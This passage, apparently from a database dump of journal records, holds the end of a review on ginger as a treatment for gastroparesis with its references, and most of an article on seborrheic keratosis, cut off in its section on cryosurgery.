ventilator-free days, and overall mortality. Patients in the test group were found to tolerate an increased amount of feeding during the first 48 hours and developed fewer nosocomial pneumonias. The remaining end-points were not significantly altered. The authors suggested a utility for ginger extract in stimulating gastric motility in patients not know to have gastroparesis who were at risk for decreased gastric motility and associated aspiration pneumonia.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Summary</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Ginger, an ancient medicinal herb, clearly appears to have a role in contemporary medicine.&nbsp; A clear benefit in the management of nausea and vomiting, both during pregnancy and associated with the administration of cancer chemotherapy, has been demonstrated.&nbsp; Interesting data in humans and animal models suggest a possible role in the management of patients with functional dyspepsia or gastroparesis. The availability of a readily available, inexpensive product with little reported toxicity would be welcome as clinicians try to manage these complicated and challenging patients.&nbsp; It is our hope that this review will result in a more in depth investigation of the use of ginger in the management of patients with a gastroparesis.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>References</strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Pizzorno J, Murray M (2012) Zingiber officinale (Ginger). In: Textbook of Natural Medicine. St. Louis, MO: Elsevier/Saunders; 2012: 1147-1153.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.4137/imi.s36273\">Lete I, Allu&eacute; J (2016) The Effectiveness of Ginger in the Prevention of Nausea and Vomiting During Pregnancy and Chemotherapy. Integr Med Insights 11: 11-17.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1002/ptr.5871\">Zhang F, Ma N, Gao Y, Sun L, and Zhang J (2017) Therapeutic Effects of 6?Gingerol, 8?Gingerol, and 10?Gingerol on Dextran Sulfate Sodium?Induced Acute Ulcerative Colitis in Rats. Phytother Res 31: 1427-1432.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s10068-018-0438-6\">Kim MS, Kim JY (2018) Ginger Attenuates Inflammation in a Mouse Model of Dextran Sulfate Sodium-Induced colitis. Food SciBiotechnol 27: 1493-1501.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.4103/0976-9668.160026\">Zaghlool SS, Shehata BA, Abo-Seif AA, Abd El-Latif HA (2015) Protective Effects of Ginger and Marshmallow Extracts on Indomethacin-Induced Peptic Ulcer in Rats. J Nat SciBiol Med 6: 421-428.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1155/2015/142979\">Prasad S, Tyagi AK (2015) Ginger and its Constituents: Role in Prevention and Treatment of Gastrointestinal Cancer. Gastroenterol Res Pract 2015: 142979.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.jcma.2018.06.006\">Badawi M (2018) Histological Study of the Protective Role of Ginger on Piroxicam-Induced Liver Toxicity in Mice. J Chin Med Assoc 2018: 1726-4901.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5812/hepatmon.34897\">Rahimlou M, Yari Z, Hekmatdoost A, Alavian SM, Keshavarz SA (2016) Ginger Supplementation in Nonalcoholic Fatty Liver Disease: A Randomized, Double-Blind, Placebo-Controlled Pilot Study. Hepat Mon 16: e34897.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/ajg.2012.373\">Camilleri M, Parkman H, Shafi M, Abell T, Gerson L (2013)&nbsp; Clinical Guideline: Management of Gastroparesis.&nbsp; Am J Gastroenterol 108: 18-38.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1053/j.gastro.2009.04.055\">Hyett B, Martinez F, Gill B, Mehra S, Lembo A, et al.&nbsp; (2009) Delayed Radionucleotide Gastric Emptying Studies Predict Morbidity in Diabetics with Symptoms of Gastroparesis. Gastroenterology 137: 445-452.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Giacosa A, Morazzoni P, Bombardelli E, Riva A, Bianchi Porro G (2015) Can Nausea and Vomiting be Treated with Ginger Extract? Eur Rev Med Pharmacol Sci 19: 1291-1296.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/00006250-200104000-00017\">Vutyavanich T, Kraisarin T, Ruangsri R (2001) Ginger for Nausea and Vomiting in Pregnancy: Randomized, Double-Masked, Placebo-Controlled Trial. Obstet Gynecol 97: 577-582.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/01.aog.0000118307.19798.ec\">Smith C, Crowther C, Willson K, Hotham N, McMillian V (2004) A Randomized Controlled Trial of Ginger to Treat Nausea and Vomiting in Pregnancy. Obstet Gynecol 103: 639-645.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1080/10408398.2013.865590\">Marx W, Ried K, McCarthy A, Vitetta L, Sali A, et al. (2017) Ginger&ndash;Mechanism Of Action In Chemotherapy?Induced Nausea And Vomiting: A Review.Crit Rev Food SciNutr 57: 141-146.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s12032-017-0931-4\">Konmun J, Danwilai K, Ngamphaiboon N, Sripanidkulchai B, Sookprasert A (2017) A phase II Randomized Double-Blind Placebo-Controlled Study of 6-Gingerol as an Anti-Emetic in Solid Tumor Patients Receiving Moderately to Highly Emetogenic Chemotherapy. Med Oncol 34: 69.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00520-011-1236-3\">Ryan JL, Heckler CE, Roscoe JA, Dakhil SR, Kirshner J, et al. (2011) Ginger (Zingiber officinale) Reduces Acute Chemotherapy-Induced Nausea: a URCC CCOP Study of 576 Patients. Support Care Cancer 20: 1479-1489.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1002/pbc.22778\">Pillai AK, Sharma KK, Gupta YK, Bakhshi S (2011) Anti?Emetic Effect of Ginger Powder Versus Placebo as an Add?On Therapy in Children and Young Adults Receiving High EmetogenicChemotherapy. Pediatr Blood Cancer 56: 234-238.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3390/nu9080867\">Marx W, McCarthy AL, Ried K, McKavanagh D, Vitetta L, et al. (2017) The Effect of a Standardized Ginger Extract on Chemotherapy-Induced Nausea-Related Quality of Life in Patients Undergoing Moderately or Highly Emetogenic Chemotherapy: A Double Blind, Randomized, Placebo Controlled Trial. Nutrients 9: 867.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.phymed.2018.09.007\">T&oacute;th B, Lantos T, Hegyi P, Viola R, Vasas A, et al. (2018) Ginger (Zingiberofficinale): An Alternative for the Prevention of Postoperative Nausea and Vomiting. A Meta Analysis. Phytomedicine 50: 8-18.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1365-2044.1993.tb07188.x\">Phillips S, Ruggier R, Hutchinson SE (1993) Zingiberofficinale (Ginger)&ndash;An Antiemetic for Day Case Surgery. Anaesthesia 48: 715-717.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.jtcme.2017.06.008\">Soltani E, Jangjoo A, Afzal Aghaei M, Dalili A (2017) Effects of Preoperative Administration of Ginger (Zingiberofficinale Roscoe) on Postoperative Nausea and Vomiting after Laparoscopic Cholecystectomy. J Tradit Complement Med 8: 387-390.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5009/gnl16055\">Talley NJ (2017) Functional Dyspepsia: Advances in Diagnosis and Therapy. Gut Liver 11: 349-357.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1155/2015/915087\">Giacosa A, Guido D, Grassi M, Riva A, Morazzoni P, et al. (2015) The Effect of Ginger (Zingiber officinalis) and Artichoke (Cynaracardunculus) Extract Supplementation on Functional Dyspepsia: A Randomised, Double-Blind, and Placebo-Controlled Clinical Trial. Evid Based Complement Alternat Med 2015: 1-9.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Mamaghani A, Maham M, Dalir-Naghadeh B (2013) Effects of Ginger Extract on Smooth Muscle Activity of Sheep Reticulum and Rumen. Vet Res Forum 4: 91-97.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1080/09637480600656074\">Ghayur MN, Gilani AH (2006) Species Differences in the Prokinetic Effects of Ginger. Int J Food SciNutr 57: 65-73.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1055/s-0030-1270747\">Pertz HH, Lehmann J, Roth-Ehrang R, Elz S (2011) Effects of Ginger Constituents on the Gastrointestinal Tract: Role of Cholinergic M3 and Serotonergic 5-HT3 and 5-HT4 Receptors. Planta Med 77: 973-978.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3748/wjg.v17.i1.105\">Hu ML, Rayner K, Wu KL, Chuah SK, Tai WC, et al. (2011) Effect of Ginger on Gastric Motility and Symptoms of Functional Dyspepsia. World J Gastroenterol 17: 105-110.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/meg.0b013e3282f4b224\">Wu KL, Rayner CK, Chuah SK, Changchien CS, Lu SN, et al. (2008) Effects of Ginger on Gastric Emptying and Motility in Healthy Humans. Eur J Gastroenterol Hepatol 20: 436-440.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Micklefield GH, Redeker Y, Meister V, Jung O, Greving I (1999) Effects of Ginger on Gastroduodenal Motility. Int J ClinPharmacolTher 37: 341-346.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.jcrc.2009.12.008\">Shariatpanahi ZV, Taleban FA, Mokhtari M, Shahbazi S (2010) Ginger Extract Reduces Delayed Gastric Emptying and Nosocomial Pneumonia in Adult Respiratory Distress Syndrome Patients Hospitalized in an Intensive Care Unit. J Crit Care 25: 647-650.</a></span></span></li>\r\n</ol>\r\n','','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Khan L and Simpson WG (2019) Ginger as a Possible Alternative Treatment for Gastroparesis. Chronic Complement Altern Integra Med: CCAIM-100003</span></span></p>\r\n','','1552289182.pdf','','1552289182.jpg','',0,1,'2019-03-11 12:56:21','2019-03-11 13:03:40',1),(43,16,'20','2019','Senescence, Keratinisation, Latency: Seborrheic Keratosis','Anubha Bajaji','Case Report','Senescence-Keratinisation-Latency-Seborrheic-Keratosis','Senescence, Keratinisation, Latency: Seborrheic Keratosis','Senescence, Keratinisation, Latency: Seborrheic Keratosis','Senescence, Keratinisation, Latency: Seborrheic Keratosis','<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Annals of Medical &amp; Surgical Case Reports</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Senescence, Keratinisation, Latency: Seborrheic Keratosis</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Anubha Bajaji</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Histopathologist in AB Diagnostics, New Delhi, India</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author:</strong> Anubha Bajaji, Histopathologist in A.B. Diagnostics, New Delhi, India, E-mail: <a href=\"mailto:anubha.bajaj@gmail.com\">anubha.bajaj@gmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Bajaji A (2019) Senescence, Keratinisation, Latency: Seborrheic Keratosis. Ann Med &amp; Surg Case Rep: AMSCR: 100002</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date:</strong> 02 February, 2019; <strong>Accepted Date:</strong> 28 February, 2019; <strong>Published Date:</strong> 11 March, 2019</span></p>\r\n','','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Preface:</strong> A benign epidermal tumour occurring primarily in the head and neck region, inter-scapular zone of the trunk, lateral area of the neck, face andextremities with the exception of palm and solescharacterizes the condition of seborrheic keratosis [1]. The terminology &ldquo;Seborrheic&rdquo; connotes lesions which appear waxy with a rough exterior surface. An estimated one fifth (20%) of the Caucasians above 50 years of age are implicated by the frequent disorder. Seborrheic keratosis incriminates the genders equally with a slight male predominance [1,2]. Subcategories of seborrheic keratosis depict the following order of appearance: a flat seborrheic keratosis (49%), dermatosis papulosanigra (42%) and the Leser Trelat sign (12%). Frequency of seborreheic keratosis concurs with location of the lesion. Theface (77.4%) is commonly implicated followed byback (32.3%) andabdomen (25.8%). An estimated one fifth (17%) individuals elucidate itching witha familial presentation of seborrheic keratosis(20%). Approximately three fourths (75%) instances clinicallydepicta skin photo type III [1,2]. The variant of dermatosis papulosanigra commonly implicates Fitz Patrick skin type VI [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Disease Characteristics:</strong> The disorder is of obscure origin, although lesions emerge with in sun exposed areas. Since the lesions are located within the intertriginous regions such as axillae and/or abdominal folds, exposure to sunlight is not culpable for each instance of seborrheic keratosis. Potential agents such as viruses, particularly Human PapillomaVirus (HPV) and genetic mutations additionally initiate the lesions [2,3]. A seven-point check list isemployedin order to evaluate the severity of lesions and it assigns specific scores to distinctive morphological attributes. Three crucial parameters for assessing a malignant conversion are a) modification within the dimensions of the lesion, b) an in constant perimeter and c) fluctuating pigmentation, where each of the parameter is assigned a score of 2 points. Minor factors such as inflammation, pruritus, a lesion magnitude of greater than 7 centimetres and crusting of lesion is assigned one point each. Acumulative score of greater than 3mandates a referral to a dermatologist. Scores as assessed with the check list depict a sensitivity of 73.3% and a specificity of 57.1% [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Clinical Elucidation:</strong> Lesions of seborrheic keratosis are composed of accumulated, senescent epidermal cells with an arrest in gap 1(G1) phase of the cell cycle. Apoptosis of squamous epidermal cells of seborrheic keratosis is inhibited by p16 (a cyclin dependent kinase inhibitor) [2,3]. Lesions classically represent as well-defined, round to oval, mildly elevated, thickened, flesh coloured to gray, light to brown or black patches and plaques. Several benign or malignant lesions or inflammatory eruptions emerge as thematic variations of seborrheic keratosis.As a technically benign disorder, determination of seborrheic keratosis requires a concordant histological confirmation. Lesions are pruritic, erythematous or generally irritating to the individual [4,5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Morphological Patterns:</strong> Variable histology mandates the applicability of a diverse nomenclature such as a basal cell acanthoma, basal cell papilloma, benign acanthokeratoma, veruccaseborrhoica (seborrheic wart) and verruca senilis (senilewart). Brownish lesion selucidate averuccous surface with a distinct perimeter and minimally raised edges, in contrastto the surrounding skinand depict a typical &ldquo;stuck on or coin like&rdquo; configuration [1,2]. A plethora of histological patterns are delineated particularly theirritated type, adenoid or reticulated type, clonal, melano-acanthoma, inverted follicular keratosis and benign squamous keratosis. A targetoid appearance is exceptional. The subtypes comprehensively exhibit hyperkeratosis, acanthosis and papillomatosis. Seborrheic keratosisin frequently exhibits a sebaceous differentiation. Seborrheic keratosis depicts the following morphological subcategories:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Multi-component (19.9%) lesions which incorporate a combination of varied configurations. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Reticular (14.9%) lesions with amalgamation of deep brown pigment and a miniscule, thin brown perimeter, a pattern frequented in the solar lentigo or Clarke&rsquo;s nevus. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Bowenoid (13%) lesions which depict glomerular or dotted blood vessels or a commingled, dual articulation. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hairpin (11.8%) vessels which encompass majority of the lesions of seborrheic keratosis with haematic crusts. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lesions simulating a Kerato-acanthoma (9.9%) which exhibit keratotic structures and haematic crusts, vascular exterior and linear vasculature [3].</span></li>\r\n</ul>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Histological Elucidation:</strong> Basaloid cells with admixed, variable quantities of squamoid cells are exemplified. Surface invaginations with impacted keratinand miniature cysts (horn cysts) are frequently discerned. An estimated one third (33%) of lesions appear to be hyper-pigmented. Histological variations of seborrheic keratosisarenumerous with categoricalsubtypes. Acanthotic, hyperkeratotic, adenoid, reticulated, clonal, irritated, desmoplastic, inverted follicular keratosis andmelano-acanthoma subcategories are encountered on histology [1,2]. Microscopic attributes of hyperkeratosis, acanthosis and papillomatosis are elucidated within the subclasses. Focal trichilemmal differentiation along with glycogen rich cells, acantholysis with basal clear cells and foci of sebaceous differentiation comprise of exceptional variations. Additionally, pseudo-rosettes and adamantinoid subtypes configure as contemporary variants of seborrheic keratosis [6,7] (Figure 1-12).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Molecular modifications:</strong> Genetic modifications are incriminated in the evolution of seborrheic keratosis. Fibroblast growth factor receptor3 (FGFR3) is crucial for the progression of lesions. Mutations of FGFR3 gene are elucidated in majority (85%) of instances. Germ-line mutations of FGFR3 gene accompany malformations such as craniosynostoses and skeletal dysplasia [2,3]. PIK3CA gene with oncogenic properties are adjunctively associated with the disorder. Malignant tumours of colon, breast and bladder alternatively exhibit the PIK3CA gene. An estimated half (45%) of the lesions of seborrheic keratosis depict greater than one genetic mutation, commonly situated in oncogenes such as FGFR3, PIK3CA, KRAS or EGFR.Lesions may concur with the receptor tyrosine kinase/ phosphatidyl inositol -3- kinase / Akt signalling cascade, a pathway which is frequently elucidated with squamous cell carcinoma. Immobilization of Akt signalling pathway induces a cellular demise within seborrheic keratosis and eradicates the lesions [7,20].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Differential Diagnosis: Seborrheic keratosis necessitates a demarcation from several benign disorders such as papilloma, senile keratosis, keratoacanthoma and veruccous epidermal hyperplasia besides malignant lesions such as basal cell carcinoma or squamous cell carcinoma. Conversion toan in-situ squamous cell carcinoma (Bowenoid transformation) is an exceptional occurrence [8,21]. Sebaceous differentiation with in lesions of seborrheic keratosis is rare. Thus, a distinction from a sebaceoma with superficial alterations of verruca or classic seborrheic keratosis is required. Differentiation from associated tumours with sebaceous differentiation such as Trichoblastoma with sebaceous differentiation, sebocrine adenoma (apocrine poroma with sebaceous differentiation), superficial epithelioma with sebaceous differentiation, low grade sebaceous carcinoma and basal cell carcinoma with sebaceous differentiation is a pre-requisite [1,2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Variant of sebaceoma with superficial verruca or seborrheic keratosis like alterations depicts a proliferation of in fundibular keratinocytes (basaloid cells or squamous cells) and is accompanied with focal hypergranulosis and segments of cornified cells (simulating verruca or a seborrheic keratosis) and intermittently admixed sebaceous cells. A sebaceoma is impinged upon upper ormid dermiswith augmented quantification of sebaceous cells instead of basal cells [20,21]. Thus, location and cellular composition of sebaceoma appears to be in contrast toseborrheic keratosis.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">An appropriate contemporary terminology of &ldquo;Sebomatricoma&rdquo; isapplicable for benign neoplasm with sebaceous differentiation inclusive of seborrheic keratosis with sebaceous differentiation [1].A sebaceoma infrequently emerges in combination with seborrheic keratosis where lesions are constituted of dual and distinct, abutting tumours. A fore said components include seborrheic keratosis with hyperkeratosis, acanthosis and intermittent, irregular proliferation of seemingly benign basaloid and squamous keratinocytes along with miniature horn pseudo-cystsalong with a constituent of sebaceoma with characteristic multiple and varying lobules of immature sebocytes, commingled with solitary or assembled mature sebaceous cell units [21,22].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A trichoblastoma with sebaceous differentiation displays a multiplication of follicular germinative cells interspersed within a markedly fibrotic stroma and peripheral cellular palisade, contrary to the classic seborrheic keratosis. Mature sebocytes and sebaceous duct like structures are detected within basaloid aggregates [1].An apocrine poroma with sebaceous differentiation (sebocrine adenoma) illustrates a benign, cutaneous adnexal neoplasm, differentiating along the direction of sebaceous and apocrine glands. Sebaceous differentiation is manifested by singularly dispersed or aggregates of sebocytes and sebaceous ducts. Apocrine differentiation is discerned within basaloid clusters comprising of poroid and cuticular cells with accompanying tubular configurations [1,2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Superficial epithelioma with sebaceous differentiation is an exceptional benign neoplasm. The histological variant occurs as multitudinous or solitary lesion emerging on the face, neck andtrunk ofgeriatric individuals. Circumscribed, well defined, plate like dissemination of basaloid cells are elucidated with several, extended adhesions to superficial epidermis. Tumour cells eventually blend with cellular epidermal covering, particularly at dermo-epidermal junction. Sebaceous cells are dispersed as miniature aggregates within the basal segment oftumour lobules. Minimal keratin filled cystic configurations are delineated with a lining of squamous epithelium, arising from epidermal or sebaceous ducts. Cellular peripheral palisade or retraction artefact from surrounding tissue is absent [21,22].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Low grade sebaceous carcinoma morphologically displays tumour cells of specific cytology with enlarged, compact, vesicular and pleomorphic nuclei containing conspicuous nucleoli. Particular cytological features are lacking in lesions of seborrheic keratosis. Exceptionally, basal cell carcinoma depicts foci of sebaceous differentiation. The tumefaction is distinguished from seborrheic keratosis by typical configuration of a cellular peripheral palisade accompanied by characteristic tumour cell cytology simulating a basal cell carcinoma. Stratified squamous epithelial hyperplasia is demonstrated along with acanthosis and basal cell proliferation besides interspersed keratin engendered horn and pseudo-horncysts andsebaceous differentiation confined to the deep seated lesions. The percentage of sebaceous cells are minimal, in contrast to basaloid cells, when compared to sebaceoma. Prominent fibrotic stroma devoid of a cellular peripheral palisade, duct like articulation orproliferation of basaloid cells recapitulating plate like configuration is enunciated. Exclusion of a forementioned entities is mandated in order to arrive at a diagnosis of seborrheic keratosis with sebaceous differentiation [23,24].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Although seborrheic keratosis with sebaceous differentiation does not conventionally elucidate the exceptional &ldquo;Muir Torre Syndrome&rdquo;, a benign, predominantly sebaceous or transitional squamous-sebaceous neoplasm is probably representative of the syndrome [1,2]. Malignant Manifestations: An abrupt emergence of innumerable lesions of seborrheic keratosis is scripted as a &ldquo;Leser Trelat&rdquo; sign. Leser Trelat sign indicates an internal malignancy, frequently an adeno-carcinoma of the stomach. Emergence of adjunctive malignancies such asacute or chronic leukaemia, bronchogenic carcinoma, breast carcinoma, colorectal carcinoma, renal cellcarcinoma, transitional cell carcinoma or anaplastic ependymoma is collated. Occasionally, Leser Trelat signiselucidated in the absence of an internal malignancy [2,3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Multiple lesions of seborrheic keratosisare associated withan enhanced probability of innate or intrinsicmalignancy. Thus, conventional screening and consistent follow up of the implicated individuals is mandated. Leser Trelat sign is considered as a para-neoplastic sign. It typically manifests with an abrupt appearance and /or amplification of quantifiable seborrheic keratosis lesions. Leser Trelat sign is considered as an index of coexistent, underlying stomach, ovary, uterus or breast carcinoma and occasional instances of bladder, lung or laryngeal carcinoma [24,25]. Seborrheic keratosis is concordant with malignant disorders such as basal cell carcinoma, malignant melanoma, squamous cell carcinoma, keratoacanthoma, Bowen&rsquo;s disease and eccrinecarcinoma. An estimated 5.3% subjects demonstrate the emergence of non-melanoma skin cancers with roughly 4.4% individuals depicting an intra-epidermal or squamous cell carcinomain situ followed by basal cell carcinoma (2.3%), invasive squamous cell carcinoma (2.3%) and malignant melanoma (2.3%) [26]. Malignant conversion cogitated in seborrehic keratosis with in situ and invasive tumefaction are induced on account of exposure to excessive sunlight or minimal quantities of chronic radiation or viruses such as Human Papilloma Virus (HPV). Bowenoid transformation may concur. Additionally, genetic mutation and over-expression of fibroblastic growth factor receptor 3 (FGFR3) are enunciated. Thus, activation of FGFR3 signalling pathway is contemplated as a cogent aspect of tumour induction [26]. Retrospective assay of previously diagnosed seborrheic keratosis enunciates a cumulative proportion of 6.4% of freshly detected malignant tumours. An early detection of seborrheic keratosis is crucial in order to achieve a reduced mortality. Investigative Protocol: Anaked eye, visual observation with appropriate illumination andfeeling the lesions imparts critical information. Suitably defined lesions with a flat, waxy, rough or verrucous surface are delineated [3,4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A dermo scope is employed to confirm the appropriate diagnosis. Dermatoscopy is a precise modality to as certain the disorder with an estimated four times or greater sensitivity than a visual examination. TriageAmalgamated Dermatoscopic Algorithm (TADA) technique markedly enhances the percentage of confirmed diagnosis of benign lesions. A properly timed histological examination isa superior modality of demarcating betwixtbenign or malignant disorders. Dermatoscope was introduced in the year 1998 and exhibits a procedural sensitivity of 95.7% with a specificity is 78.3%. A blue black sign is diagnostic of malignant melanoma and demarcates it from seborrheic keratosis [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Therapeutic indications: Treatment is indicated for lesions which are inflamed, irritated, itchy or exceptionally painful on account of friction with clothes, razors or jewellery. Therapy is beneficial in an estimated one fifth (19%) of irritated lesions, cosmetic reasons (43%) and medical manifestations. Females patients and exposed lesions such as those on the face and/or neck necessitate therapeutic interventions [3,4]. Therapy is pre-requisite in suspected malignancy, concomitant with evaluation of site of lesion, pigmentation of lesion along with thickness and magnitude of lesion. Lesions situated in cosmetically sensitive regions benefit from conservative therapy. An estimated half (43%) of the seborrheic keratosis require eradication. Majority of individuals opt for decimation of the lesionon account of cosmetic indications. Irritation with consequent pruritus or haemorrhage during handling the benign, pigmented lesions necessitates a therapeutic intervention. Anomalies or an abrupt alteration in the outline, magnitude or co-existent inflammation of lesions or appearance of acute systemic symptoms benefit from conservative treatment. Probable malignant transformation requires a comprehensive elimination of seborrheic keratosis [1]. Topical modalities of treatment are considered as contemporary options [2,3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Therapeutic options: Guidelines are lacking for optimal treatment of seborrheic keratosis. A comprehensive surgical excision is curative. Nevertheless, localized techniques of lesion eradication such as cryotherapy or curettage can be adopted [12,13]. Cryosurgery: An estimated two-thirds of dermatologists prefer cryosurgery. An outdoor technique devoid of topical anaesthesia, cryosurgery freezes squamoid seborrheic keratosis cells to a temperature of -2&ordm;C to -30&ordm;C or -4&ordm;F to -22&ordm;F. The cells are dehydrated and slough off. Duration of cryosurgical application of liquid nitrogen has not been defined. Liquid nitrogen is applied directly or with a cotton swab. Aberrant or flat lesions are alleviated with a singular application of liquid nitrogen for a period of 5-10 seconds [3]. Enlarged or thin lesions require 